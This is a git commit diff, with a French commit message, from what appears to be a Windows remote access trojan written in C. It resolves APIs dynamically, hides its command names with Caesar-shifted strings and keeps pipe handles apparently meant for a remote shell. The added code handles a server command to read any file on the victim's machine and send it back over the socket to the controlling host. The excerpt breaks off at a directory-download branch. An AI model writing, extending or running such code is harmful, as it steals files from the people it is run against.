download un/plusieurs fichier(s) fonctionne

manque download folder (itérer à travers les fichiers d'un dossier au lieu de zip ?), manque upload
This commit is contained in:
2023-02-19 10:58:03 +01:00
parent 10a98d02d4
commit 0889454150
7 changed files with 133 additions and 8 deletions

View File

@@ -1,13 +1,12 @@
#include <Windows.h>
#include <shlobj_core.h>
#include <wininet.h>
#include <stdio.h>
#include "utils.h"
#include "config.h"
#include "resolve_apis.h"
#include "file_explorer.h"
#define Sleep_TIME 30
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
@@ -320,7 +319,30 @@ retry:
}
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
char* path = (char*)Api.malloc(MAX_PATH);
//Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb");
Api.free(path);
if (fp == NULL)
{
Sleep_(Sleep_TIME);
goto retry;
}
if (download_file(fp, sock) == 0) {
Sleep_(Sleep_TIME);
goto retry;
}
}
if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir